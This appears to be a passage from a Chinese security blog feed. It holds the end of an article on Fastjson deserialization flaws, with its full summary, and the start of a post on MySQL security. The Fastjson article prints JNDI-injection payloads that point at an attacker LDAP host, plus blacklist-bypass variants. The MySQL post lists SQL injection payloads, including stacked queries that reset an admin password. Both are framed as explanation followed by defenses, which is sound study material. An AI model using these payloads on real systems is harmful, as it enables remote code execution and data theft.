<h3 id="51-升级fastjson版本">5.1 升级Fastjson版本</h3>

<p><strong>这是最直接且最重要的防御措施。</strong> Fastjson官方团队一直在积极修复已知漏洞并加强安全防护。因此，务必将项目使用的Fastjson库升级到最新稳定版本。新版本通常包含对历史漏洞的修复，并可能引入更安全的默认配置和机制（如增强的黑白名单、<code class="language-plaintext highlighter-rouge">SafeMode</code>等）。</p>

<h3 id="52-开启safemode">5.2 开启SafeMode</h3>

<p>从Fastjson 1.2.68版本开始引入的<code class="language-plaintext highlighter-rouge">SafeMode</code>模式是抵御反序列化攻击的强大武器。当启用<code class="language-plaintext highlighter-rouge">SafeMode</code>后，Fastjson会默认禁用<code class="language-plaintext highlighter-rouge">AutoType</code>，除非明确在白名单中配置的类才能被反序列化。这大幅收窄了攻击面。</p>

<p><strong>如何开启SafeMode：</strong></p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 方法一：全局配置</span>
<span class="no">JSON</span><span class="o">.</span><span class="na">DEFAULT_GENERATE_FEATURE</span> <span class="o">|=</span> <span class="nc">SerializerFeature</span><span class="o">.</span><span class="na">WriteClassName</span><span class="o">.</span><span class="na">mask</span><span class="o">;</span>
<span class="nc">ParserConfig</span><span class="o">.</span><span class="na">getGlobalInstance</span><span class="o">().</span><span class="na">setSafeMode</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>

<span class="c1">// 方法二：通过系统属性配置（推荐，无需修改代码）</span>
<span class="c1">// 在JVM启动参数中添加：-Dfastjson.parser.safeMode=true</span>

<span class="c1">// 方法三：通过fastjson.properties文件配置</span>
<span class="c1">// 在classpath下创建fastjson.properties文件，内容为：</span>
<span class="c1">// fastjson.parser.safeMode=true</span>
</code></pre></div></div>

<h3 id="53-禁用autotype">5.3 禁用AutoType</h3>

<p>如果你的业务场景不需要Fastjson的<code class="language-plaintext highlighter-rouge">@type</code>机制来处理多态对象，或者你对反序列化的类型有明确的控制，那么彻底禁用<code class="language-plaintext highlighter-rouge">AutoType</code>是一个非常安全的做法。禁用<code class="language-plaintext highlighter-rouge">AutoType</code>后，Fastjson将不会解析JSON中的<code class="language-plaintext highlighter-rouge">@type</code>字段，从而消除了一大类反序列化攻击的威胁。</p>

<p><strong>如何禁用AutoType：</strong></p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 方法一：全局禁用（推荐，如果业务不需要AutoType）</span>
<span class="nc">ParserConfig</span><span class="o">.</span><span class="na">getGlobalInstance</span><span class="o">().</span><span class="na">setAutoTypeSupport</span><span class="o">(</span><span class="kc">false</span><span class="o">);</span>

<span class="c1">// 方法二：针对单个Parser禁用（Fastjson &gt;= 1.2.68 支持 SafeMode）</span>
<span class="nc">ParserConfig</span> <span class="n">config</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ParserConfig</span><span class="o">();</span>
<span class="n">config</span><span class="o">.</span><span class="na">setSafeMode</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="no">JSON</span><span class="o">.</span><span class="na">parseObject</span><span class="o">(</span><span class="n">jsonStr</span><span class="o">,</span> <span class="nc">TargetClass</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="n">config</span><span class="o">);</span>
</code></pre></div></div>
<p><strong>注意</strong>：在更高版本的Fastjson中，<code class="language-plaintext highlighter-rouge">AutoType</code>默认就是关闭的，无需额外禁用。但在旧版本中，显式禁用是必要的。</p>

<h3 id="54-严格的输入校验和白名单机制">5.4 严格的输入校验和白名单机制</h3>

<p>即使采取了上述措施，对来自外部的JSON输入进行严格的校验仍然是至关重要的纵深防御策略。</p>

<ul>
  <li><strong>结构校验</strong>：验证JSON的整体结构是否符合预期，例如字段数量、嵌套层级等。</li>
  <li><strong>字段白名单</strong>：只允许接收业务逻辑中明确定义的字段，对于未知的字段直接拒绝或忽略。</li>
  <li><strong>类型白名单</strong>：如果必须开启<code class="language-plaintext highlighter-rouge">AutoType</code>，务必配置严格的类型白名单。只允许反序列化业务所需的特定类，而不是任意类。</li>
</ul>

<p><strong>示例：配置白名单</strong></p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 假设com.example.User是允许反序列化的类</span>
<span class="nc">ParserConfig</span><span class="o">.</span><span class="na">getGlobalInstance</span><span class="o">().</span><span class="na">addAccept</span><span class="o">(</span><span class="s">"com.example.User"</span><span class="o">);</span>
<span class="c1">// 或者通过系统属性：-Dfastjson.parser.autoTypeAccept=com.example.User,com.example.Product</span>
</code></pre></div></div>

<h3 id="55-最小化权限原则">5.5 最小化权限原则</h3>

<p>无论Fastjson漏洞是否存在，遵循最小化权限原则都是普适的安全实践。</p>

<ul>
  <li><strong>JVM权限最小化</strong>：运行Java应用程序的JVM应使用具有最低必要权限的用户账户。</li>
  <li><strong>系统权限最小化</strong>：即使攻击成功并执行了RCE，受限的用户权限也能在一定程度上限制攻击者在服务器上能进行的操作，例如无法写入关键文件、无法执行特权命令等。</li>
</ul>

<h3 id="56-安全编码实践">5.6 安全编码实践</h3>

<ul>
  <li><strong>避免使用不安全的JDK版本</strong>：某些老旧的JDK版本在RMI/LDAP等相关组件中存在已知漏洞（例如，JDK 6u45, 7u21之前的版本），这些漏洞可能与Fastjson的JNDI注入攻击结合，导致更严重的后果。建议升级JDK版本到最新稳定版。</li>
  <li><strong>审慎引入第三方依赖</strong>：引入新的第三方库时，要评估其安全性。避免引入包含已知漏洞或不安全功能的库。</li>
  <li><strong>代码审计</strong>：定期对使用Fastjson的代码进行安全审计，特别是那些处理外部输入的反序列化操作。</li>
  <li><strong>异常处理</strong>：确保在Fastjson反序列化失败时，能够捕获并安全地处理异常，避免敏感信息泄露。</li>
</ul>

<p>通过综合应用这些防御措施，可以构建一个相对安全的Fastjson使用环境，有效防范反序列化漏洞的攻击。</p>

<h2 id="6-总结与展望">6. 总结与展望</h2>

<h3 id="61-总结">6.1 总结</h3>

<p>Fastjson作为Java生态中广泛使用的JSON处理库，其<code class="language-plaintext highlighter-rouge">AutoType</code>机制在提供便利性的同时，也为反序列化漏洞埋下了伏笔。从早期的无限制<code class="language-plaintext highlighter-rouge">AutoType</code>，到后续的黑名单、绕过技术，再到<code class="language-plaintext highlighter-rouge">SafeMode</code>的引入和<code class="language-plaintext highlighter-rouge">AutoType</code>默认禁用，Fastjson的安全性演进史，实则是一部与攻击者持续对抗的攻防史。其核心原理在于，当Fastjson被诱导动态加载并实例化不可信的、带有副作用的类时，即可造成远程代码执行（RCE），对系统安全构成严重威胁。理解这些漏洞的成因、攻击链和历史演变，对于开发者和安全研究人员而言至关重要。</p>

<h3 id="62-展望">6.2 展望</h3>

<p>反序列化漏洞并非Fastjson独有，它是许多序列化库和协议面临的共性安全挑战。随着新的Java特性、新的第三方库和新的攻击技术不断涌现，新的Gadget链和绕过手法也可能随之浮现。未来的安全防护将更加注重以下几点：</p>

<ul>
  <li><strong>默认安全原则</strong>：库和框架应默认采用最安全的配置，将不安全的功能默认关闭，只有在明确需要且用户理解风险的情况下才允许开启。</li>
  <li><strong>深度防御</strong>：不仅仅依赖于单个防护点（如黑名单），而应结合多层级的防御策略，包括：安全的编码实践、严格的输入校验、最小化权限原则、运行时安全监控等。</li>
  <li><strong>持续安全更新</strong>：无论是Fastjson或其他任何库，及时关注官方的安全公告，并升级到最新版本，是维护系统安全不可或缺的一环。</li>
  <li><strong>安全意识培养</strong>：提高开发人员的安全意识，使其在设计、编码和测试阶段就能识别并避免潜在的安全风险，从源头上减少漏洞的产生。</li>
</ul>

<p>Fastjson反序列化漏洞的攻防实践告诉我们，信息安全是永无止境的对抗。唯有不断学习、不断进化，才能更好地保护我们的系统和数据。</p>]]></content><author><name>Your Name</name></author><category term="安全" /><category term="漏洞分析" /><category term="Fastjson" /><category term="反序列化" /><category term="Java安全" /><category term="漏洞" /><summary type="html"><![CDATA[Fastjson反序列化漏洞深度剖析 摘要 Fastjson是阿里巴巴开源的Java语言开发的JSON处理器，因其高性能和易用性，在Java生态系统中被广泛使用。然而，Fastjson也因其反序列化机制，多次被爆出严重的安全漏洞，允许攻击者执行任意代码（RCE）。本文将深入剖析Fastjson反序列化漏洞的原理、攻击方式，并提供防御措施。 1. 什么是Fastjson？ Fastjson是一个Java库，用于在Java对象和JSON数据之间进行转换。它提供toJSONString()方法将Java对象序列化为JSON字符串，以及parseObject()和parseArray()等方法将JSON字符串反序列化为Java对象。 2. 反序列化漏洞概述 反序列化漏洞是指程序在处理不可信用户输入的反序列化数据时，由于没有对数据进行严格的校验，导致攻击者可以通过构造恶意的序列化数据，在目标系统上执行任意代码或造成其他危害。 3. Fastjson反序列化漏洞原理 Fastjson在反序列化时，特别是当使用parseObject(json_string, Object.class)或JSON.parse(json_string)等方法，并且JSON字符串中包含@type字段时，Fastjson会根据@type字段指定的类名去实例化对应的类。如果攻击者能够控制@type字段的值，并指定一个恶意类（例如，一个可以在构造函数或特定方法中执行命令的类），那么在Fastjson尝试实例化该类时，就会触发恶意代码的执行。 — 漏洞成因深度剖析 — Fastjson反序列化漏洞的根本原因在于其核心的AutoType（自动类型）机制。为了在序列化和反序列化过程中保留Java对象的完整类型信息，Fastjson允许在JSON字符串中添加一个@type字段来指定对象的具体类型。当Fastjson进行反序列化操作时，如果检测到@type字段，它会： 动态加载类：使用Java的反射机制，根据@type字段中指定的完整类名（如com.sun.rowset.JdbcRowSetImpl），动态地加载对应的Class对象。 实例化对象：通过反射调用该类的无参构造函数（如果存在）来实例化一个对象。 调用Setter方法：将JSON中对应字段的值，通过反射调用该实例化对象的setter方法进行赋值。 问题在于，Fastjson在早期版本中默认信任并动态加载了来自不可信源的任意类。当攻击者能够控制@type字段的值时，他们就可以指定任何存在于应用classpath中的类。如果这个被指定的类在实例化或其setter方法被调用时会产生副作用（例如，触发JNDI查找、执行系统命令等），那么攻击者就可以利用这种机制，在反序列化过程中执行任意代码，从而造成远程代码执行（RCE）。 3.1 攻击链分析 典型的Fastjson反序列化攻击链如下： 寻找可利用的Gadget：攻击者需要找到一个在反序列化过程中会被调用，并且能够执行恶意操作的Java类和方法（称为Gadget）。这些Gadget通常是JDK自带的类或常用第三方库中的类。 构造恶意JSON数据：攻击者构造包含@type字段和恶意数据（如JNDI连接、URLClassloader等）的JSON字符串。 { "your_key": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com:1389/Exploit", "autoCommit": true } } 或（更直接的@type利用方式） { "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com:1389/Exploit", "autoCommit":true } 发送恶意JSON数据：将构造好的JSON数据发送给使用Fastjson进行反序列化的目标应用。 Fastjson反序列化触发：目标应用使用Fastjson对恶意JSON数据进行反序列化，识别到@type字段后，尝试加载并实例化指定的恶意类。 恶意代码执行：在恶意类的实例化或特定方法调用过程中，触发攻击者预设的恶意操作，例如通过JNDI加载远程类并执行其中的代码。 — 完整的调用链示例：基于com.sun.rowset.JdbcRowSetImpl的JNDI注入 — 为了更直观地理解Fastjson反序列化导致RCE的完整过程，我们以一个经典的JdbcRowSetImpl作为Gadget，结合JNDI注入，来详细剖析其内部调用链。 恶意JSON Payload: { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com:1389/Exploit", "autoCommit": true } 内部调用流程解析： Fastjson解析@type字段：当Fastjson接收到上述JSON字符串并尝试反序列化时，首先会解析到"@type": "com.sun.rowset.JdbcRowSetImpl"。 加载并实例化JdbcRowSetImpl： Fastjson利用反射机制，通过Class.forName("com.sun.rowset.JdbcRowSetImpl")加载JdbcRowSetImpl类。 随后，调用其无参构造函数new com.sun.rowset.JdbcRowSetImpl()，创建一个JdbcRowSetImpl实例。 调用Setter方法进行属性赋值： Fastjson继续解析JSON中其余字段。遇到"dataSourceName": "ldap://attacker.com:1389/Exploit"时，会调用JdbcRowSetImpl实例的setDataSourceName("ldap://attacker.com:1389/Exploit")方法，将JNDI地址设置进去。 遇到"autoCommit": true时，Fastjson会调用JdbcRowSetImpl实例的setAutoCommit(true)方法。 触发JNDI查找： JdbcRowSetImpl类中的setAutoCommit(boolean)方法有一个特性：当其参数为true时，内部会隐式调用connect()方法。 connect()方法会尝试建立数据库连接。在建立连接之前，它会使用dataSourceName属性来查找数据源。由于dataSourceName被设置为ldap://attacker.com:1389/Exploit，connect()方法会触发一次JNDI查找，尝试从LDAP服务器attacker.com:1389获取名为Exploit的对象。 恶意LDAP服务器响应： 攻击者在attacker.com:1389上搭建了一个恶意的LDAP服务器。当接收到目标应用的JNDI查找请求时，恶意LDAP服务器会返回一个恶意的Reference对象。 这个Reference对象通常指向一个由攻击者控制的Web服务器上的Java类文件（例如，http://attacker.com/Exploit.class）。 加载并执行恶意类： 目标应用在接收到恶意的Reference对象后，会根据其中指定的URL，尝试从攻击者的Web服务器下载Exploit.class文件。 下载后，Java虚拟机（JVM）会加载并实例化这个Exploit类。如果Exploit类在其构造函数或静态代码块中包含恶意代码（如Runtime.exec("command")），则这些代码会在目标服务器上执行，从而实现RCE。 整个链条利用了Fastjson的AutoType机制，结合JDK内置类的特殊行为（Gadget）和JNDI服务的特性，最终实现了远程代码执行。这个过程无需程序显式地调用任何敏感方法，仅通过反序列化即可完成。 4. 历史版本漏洞及攻击Payload示例 本节将列举Fastjson历史上著名的漏洞版本及其对应的攻击Payload示例，展现其防护机制与绕过手法的演进。 4.1 Fastjson 1.2.24以下版本：JNDI注入的狂欢 在Fastjson 1.2.24及更早版本中，AutoType机制默认是开启的，并且没有任何黑名单或白名单的限制。这意味着攻击者可以指定任意存在于classpath中的类进行加载和实例化。结合Java的JNDI（Java Naming and Directory Interface）功能，攻击者可以轻易地利用一些JDK内置的、具备JNDI查找能力的类（Gadget）实现远程代码执行。 典型Payload示例：利用com.sun.rowset.JdbcRowSetImpl { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit", "autoCommit": true } 说明：当Fastjson反序列化此Payload时，会实例化JdbcRowSetImpl对象，并通过setDataSourceName设置LDAP服务器地址，autoCommit设置为true会触发connect()方法，进而执行JNDI查找，最终从[ATTACKER_LDAP_SERVER]加载并执行恶意类。 4.2 Fastjson 1.2.25 - 1.2.47版本：AutoType黑名单与Bypass 为了修复1.2.24版本之前的RCE问题，Fastjson在1.2.25版本引入了AutoType的黑名单机制，试图阻止一些已知危险类的加载。然而，安全研究人员很快发现，通过构造特殊的JSON格式，可以绕过这些黑名单限制。 典型Payload示例：利用L前缀或[[绕过黑名单 例如，利用L前缀可以绕过对com.sun.rowset.JdbcRowSetImpl的直接限制： { "@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit", "autoCommit": true } 说明：Fastjson在进行黑名单校验时，可能只对完整的类名进行匹配，而Java类型描述符中的L&lt;ClassName&gt;;形式，或者[[&lt;ClassName&gt;形式（表示数组类型）能够成功绕过黑名单的校验逻辑，从而达到加载被禁类的目的。 4.3 Fastjson 1.2.48 - 1.2.68版本：更加严格的黑名单与更复杂的Bypass 随着绕过技术的不断出现，Fastjson不断加强黑名单的覆盖范围和匹配逻辑。但是，攻击者也找到了更多巧妙的Bypass方法，例如利用java.lang.Class来间接引用危险类，或者利用其他不在黑名单中的Gadget。 典型Payload示例：利用java.lang.Class间接引用 { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://[ATTACKER_LDAP_SERVER]:1389/Exploit", "autoCommit": true } 说明：这种方式先通过java.lang.Class类型将JdbcRowSetImpl加载到 JVM 的缓存中，之后第二次反序列化时，Fastjson 会直接从缓存中获取该类，从而绕过黑名单的检测。 4.4 Fastjson 1.2.68及更高版本：SafeMode与强力防护 从Fastjson 1.2.68版本开始，引入了SafeMode模式，这是Fastjson对反序列化漏洞防护的一个里程碑式改进。当启用SafeMode时： 默认禁用AutoType：除非显式地通过白名单配置，否则所有的@type字段都将被忽略。这大大减少了攻击面。 黑名单增强：即使在非SafeMode下，也持续更新并强化了内部黑名单。 SafeMode的重要性：启用SafeMode后，Fastjson反序列化攻击的难度大幅增加。攻击者需要发现新的、未被Fastjson内置黑名单覆盖且在白名单之外的Gadget才能进行攻击，这在实践中极为困难。强烈推荐所有Fastjson用户开启SafeMode。 4.5 Fastjson 1.2.80+版本：持续强化与默认安全 在Fastjson 1.2.80及更高版本中，Fastjson的安全性得到了进一步的强化，主要体现在： 默认配置更安全：默认情况下，AutoType是关闭的，SafeMode可能被激活或其安全特性被集成。 白名单机制优化：在需要开启AutoType的场景下，白名单机制得到了优化，要求配置更加严格和明确。 持续漏洞修复：针对发现的任何潜在漏洞，官方团队会迅速发布补丁。 总而言之，Fastjson的防护策略从最初的无限制，到黑名单，再到默认禁用AutoType并引入SafeMode，以及后续持续的强化，展现了其在安全对抗上的演进。对于开发者而言，始终使用最新版本的Fastjson，并严格遵循其安全配置建议是至关重要的。 5. 防御与修补措施 Fastjson反序列化漏洞的危害巨大，但通过采取一系列有效的防御措施，可以显著降低受攻击的风险。以下是推荐的防御与修补策略： 5.1 升级Fastjson版本 这是最直接且最重要的防御措施。 Fastjson官方团队一直在积极修复已知漏洞并加强安全防护。因此，务必将项目使用的Fastjson库升级到最新稳定版本。新版本通常包含对历史漏洞的修复，并可能引入更安全的默认配置和机制（如增强的黑白名单、SafeMode等）。 5.2 开启SafeMode 从Fastjson 1.2.68版本开始引入的SafeMode模式是抵御反序列化攻击的强大武器。当启用SafeMode后，Fastjson会默认禁用AutoType，除非明确在白名单中配置的类才能被反序列化。这大幅收窄了攻击面。 如何开启SafeMode： // 方法一：全局配置 JSON.DEFAULT_GENERATE_FEATURE |= SerializerFeature.WriteClassName.mask; ParserConfig.getGlobalInstance().setSafeMode(true); // 方法二：通过系统属性配置（推荐，无需修改代码） // 在JVM启动参数中添加：-Dfastjson.parser.safeMode=true // 方法三：通过fastjson.properties文件配置 // 在classpath下创建fastjson.properties文件，内容为： // fastjson.parser.safeMode=true 5.3 禁用AutoType 如果你的业务场景不需要Fastjson的@type机制来处理多态对象，或者你对反序列化的类型有明确的控制，那么彻底禁用AutoType是一个非常安全的做法。禁用AutoType后，Fastjson将不会解析JSON中的@type字段，从而消除了一大类反序列化攻击的威胁。 如何禁用AutoType： // 方法一：全局禁用（推荐，如果业务不需要AutoType） ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 方法二：针对单个Parser禁用（Fastjson &gt;= 1.2.68 支持 SafeMode） ParserConfig config = new ParserConfig(); config.setSafeMode(true); JSON.parseObject(jsonStr, TargetClass.class, config); 注意：在更高版本的Fastjson中，AutoType默认就是关闭的，无需额外禁用。但在旧版本中，显式禁用是必要的。 5.4 严格的输入校验和白名单机制 即使采取了上述措施，对来自外部的JSON输入进行严格的校验仍然是至关重要的纵深防御策略。 结构校验：验证JSON的整体结构是否符合预期，例如字段数量、嵌套层级等。 字段白名单：只允许接收业务逻辑中明确定义的字段，对于未知的字段直接拒绝或忽略。 类型白名单：如果必须开启AutoType，务必配置严格的类型白名单。只允许反序列化业务所需的特定类，而不是任意类。 示例：配置白名单 // 假设com.example.User是允许反序列化的类 ParserConfig.getGlobalInstance().addAccept("com.example.User"); // 或者通过系统属性：-Dfastjson.parser.autoTypeAccept=com.example.User,com.example.Product 5.5 最小化权限原则 无论Fastjson漏洞是否存在，遵循最小化权限原则都是普适的安全实践。 JVM权限最小化：运行Java应用程序的JVM应使用具有最低必要权限的用户账户。 系统权限最小化：即使攻击成功并执行了RCE，受限的用户权限也能在一定程度上限制攻击者在服务器上能进行的操作，例如无法写入关键文件、无法执行特权命令等。 5.6 安全编码实践 避免使用不安全的JDK版本：某些老旧的JDK版本在RMI/LDAP等相关组件中存在已知漏洞（例如，JDK 6u45, 7u21之前的版本），这些漏洞可能与Fastjson的JNDI注入攻击结合，导致更严重的后果。建议升级JDK版本到最新稳定版。 审慎引入第三方依赖：引入新的第三方库时，要评估其安全性。避免引入包含已知漏洞或不安全功能的库。 代码审计：定期对使用Fastjson的代码进行安全审计，特别是那些处理外部输入的反序列化操作。 异常处理：确保在Fastjson反序列化失败时，能够捕获并安全地处理异常，避免敏感信息泄露。 通过综合应用这些防御措施，可以构建一个相对安全的Fastjson使用环境，有效防范反序列化漏洞的攻击。 6. 总结与展望 6.1 总结 Fastjson作为Java生态中广泛使用的JSON处理库，其AutoType机制在提供便利性的同时，也为反序列化漏洞埋下了伏笔。从早期的无限制AutoType，到后续的黑名单、绕过技术，再到SafeMode的引入和AutoType默认禁用，Fastjson的安全性演进史，实则是一部与攻击者持续对抗的攻防史。其核心原理在于，当Fastjson被诱导动态加载并实例化不可信的、带有副作用的类时，即可造成远程代码执行（RCE），对系统安全构成严重威胁。理解这些漏洞的成因、攻击链和历史演变，对于开发者和安全研究人员而言至关重要。 6.2 展望 反序列化漏洞并非Fastjson独有，它是许多序列化库和协议面临的共性安全挑战。随着新的Java特性、新的第三方库和新的攻击技术不断涌现，新的Gadget链和绕过手法也可能随之浮现。未来的安全防护将更加注重以下几点： 默认安全原则：库和框架应默认采用最安全的配置，将不安全的功能默认关闭，只有在明确需要且用户理解风险的情况下才允许开启。 深度防御：不仅仅依赖于单个防护点（如黑名单），而应结合多层级的防御策略，包括：安全的编码实践、严格的输入校验、最小化权限原则、运行时安全监控等。 持续安全更新：无论是Fastjson或其他任何库，及时关注官方的安全公告，并升级到最新版本，是维护系统安全不可或缺的一环。 安全意识培养：提高开发人员的安全意识，使其在设计、编码和测试阶段就能识别并避免潜在的安全风险，从源头上减少漏洞的产生。 Fastjson反序列化漏洞的攻防实践告诉我们，信息安全是永无止境的对抗。唯有不断学习、不断进化，才能更好地保护我们的系统和数据。]]></summary></entry><entry><title type="html">MySQL安全配置与防护实践</title><link href="https://djiangliu.github.io/mysql%E5%AE%89%E5%85%A8/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%89%E5%85%A8/2026/02/16/MySQL%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E9%98%B2%E6%8A%A4%E5%AE%9E%E8%B7%B5/" rel="alternate" type="text/html" title="MySQL安全配置与防护实践" /><published>2026-02-16T02:00:00+00:00</published><updated>2026-02-16T02:00:00+00:00</updated><id>https://djiangliu.github.io/mysql%E5%AE%89%E5%85%A8/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%89%E5%85%A8/2026/02/16/MySQL%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E9%98%B2%E6%8A%A4%E5%AE%9E%E8%B7%B5</id><content type="html" xml:base="https://djiangliu.github.io/mysql%E5%AE%89%E5%85%A8/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%89%E5%85%A8/2026/02/16/MySQL%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E9%98%B2%E6%8A%A4%E5%AE%9E%E8%B7%B5/"><![CDATA[<h1 id="mysql安全配置与防护实践">MySQL安全配置与防护实践</h1>

<p>数据库是现代信息系统的核心，也是黑客攻击的首要目标。MySQL作为使用最广泛的开源数据库之一，其安全性直接关系到企业的核心资产。本文将从攻击者视角全面梳理MySQL的各个攻击面，并给出对应的防御方案。</p>

<hr />

<h2 id="一sql注入">一、SQL注入</h2>

<h3 id="11-什么是sql注入">1.1 什么是SQL注入</h3>

<p>SQL注入是指攻击者通过在用户输入中插入恶意SQL片段，改变原有SQL语句的逻辑，从而实现非授权的数据库操作。</p>

<h3 id="12-注入类型">1.2 注入类型</h3>

<h4 id="联合查询注入union-based">联合查询注入（Union Based）</h4>

<p>最常见的注入方式，通过 <code class="language-plaintext highlighter-rouge">UNION SELECT</code> 将攻击者构造的查询结果拼接到正常查询结果中。</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 判断列数</span>
<span class="c1">-- ?id=1' ORDER BY 3--+</span>

<span class="c1">-- 联合查询，获取数据库信息</span>
<span class="c1">-- ?id=-1' UNION SELECT 1,database(),user()--+</span>

<span class="c1">-- 获取所有表名</span>
<span class="c1">-- ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+</span>

<span class="c1">-- 获取列名</span>
<span class="c1">-- ?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+</span>

<span class="c1">-- 获取数据</span>
<span class="c1">-- ?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--+</span>
</code></pre></div></div>

<h4 id="报错注入error-based">报错注入（Error Based）</h4>

<p>利用MySQL的报错函数，将查询结果通过错误信息带出。</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- extractvalue报错注入</span>
<span class="k">SELECT</span> <span class="n">extractvalue</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">concat</span><span class="p">(</span><span class="mi">0</span><span class="n">x7e</span><span class="p">,</span> <span class="p">(</span><span class="k">SELECT</span> <span class="k">database</span><span class="p">()),</span> <span class="mi">0</span><span class="n">x7e</span><span class="p">));</span>

<span class="c1">-- updatexml报错注入</span>
<span class="k">SELECT</span> <span class="n">updatexml</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">concat</span><span class="p">(</span><span class="mi">0</span><span class="n">x7e</span><span class="p">,</span> <span class="p">(</span><span class="k">SELECT</span> <span class="k">version</span><span class="p">()),</span> <span class="mi">0</span><span class="n">x7e</span><span class="p">),</span> <span class="mi">1</span><span class="p">);</span>

<span class="c1">-- floor报错注入</span>
<span class="k">SELECT</span> <span class="k">count</span><span class="p">(</span><span class="o">*</span><span class="p">),</span> <span class="n">concat</span><span class="p">((</span><span class="k">SELECT</span> <span class="k">database</span><span class="p">()),</span> <span class="n">floor</span><span class="p">(</span><span class="n">rand</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span><span class="p">))</span> <span class="n">x</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span> <span class="k">GROUP</span> <span class="k">BY</span> <span class="n">x</span><span class="p">;</span>
</code></pre></div></div>

<h4 id="布尔盲注boolean-based-blind">布尔盲注（Boolean Based Blind）</h4>

<p>页面无回显，仅通过返回页面的不同状态（正常/异常）来逐位推断数据。</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 判断数据库名长度</span>
<span class="c1">-- ?id=1' AND length(database())=8--+</span>

<span class="c1">-- 逐字符判断数据库名</span>
<span class="c1">-- ?id=1' AND ascii(substr(database(),1,1))=115--+</span>

<span class="c1">-- 判断表名</span>
<span class="c1">-- ?id=1' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))&gt;100--+</span>
</code></pre></div></div>

<h4 id="时间盲注time-based-blind">时间盲注（Time Based Blind）</h4>

<p>通过 <code class="language-plaintext highlighter-rouge">SLEEP()</code> 或 <code class="language-plaintext highlighter-rouge">BENCHMARK()</code> 引起的响应时间差异来判断条件是否成立。</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 如果数据库名第一个字符ASCII值为115，则延迟5秒</span>
<span class="c1">-- ?id=1' AND IF(ascii(substr(database(),1,1))=115, SLEEP(5), 0)--+</span>

<span class="c1">-- benchmark方式</span>
<span class="c1">-- ?id=1' AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(10000000, SHA1('test')), 0)--+</span>
</code></pre></div></div>

<h4 id="堆叠注入stacked-queries">堆叠注入（Stacked Queries）</h4>

<p>部分场景下（如 <code class="language-plaintext highlighter-rouge">mysqli_multi_query</code>），可以通过分号执行多条SQL语句。</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 直接执行任意SQL</span>
<span class="c1">-- ?id=1';INSERT INTO users(username,password) VALUES('hacker','123456');--+</span>

<span class="c1">-- 甚至可以修改管理员密码</span>
<span class="c1">-- ?id=1';UPDATE users SET password='hacked' WHERE username='admin';--+</span>
</code></pre></div></div>

<h3 id="13-sql注入防御">1.3 SQL注入防御</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 正确：使用预编译语句（PreparedStatement）</span>
<span class="nc">String</span> <span class="n">sql</span> <span class="o">=</span> <span class="s">"SELECT * FROM users WHERE username = ? AND password = ?"</span><span class="o">;</span>
<span class="nc">PreparedStatement</span> <span class="n">pstmt</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="na">prepareStatement</span><span class="o">(</span><span class="n">sql</span><span class="o">);</span>
<span class="n">pstmt</span><span class="o">.</span><span class="na">setString</span><span class="o">(</span><span class="mi">1</span><span class="o">,</span> <span class="n">username</span><span class="o">);</span>
<span class="n">pstmt</span><span class="o">.</span><span class="na">setString</span><span class="o">(</span><span class="mi">2</span><span class="o">,</span> <span class="n">password</span><span class="o">);</span>
<span class="nc">ResultSet</span> <span class="n">rs</span> <span class="o">=</span> <span class="n">pstmt</span><span class="o">.</span><span class="na">executeQuery</span><span class="o">();</span>
</code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Python中使用参数化查询
</span><span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"SELECT * FROM users WHERE username = %s AND password = %s"</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">))</span>
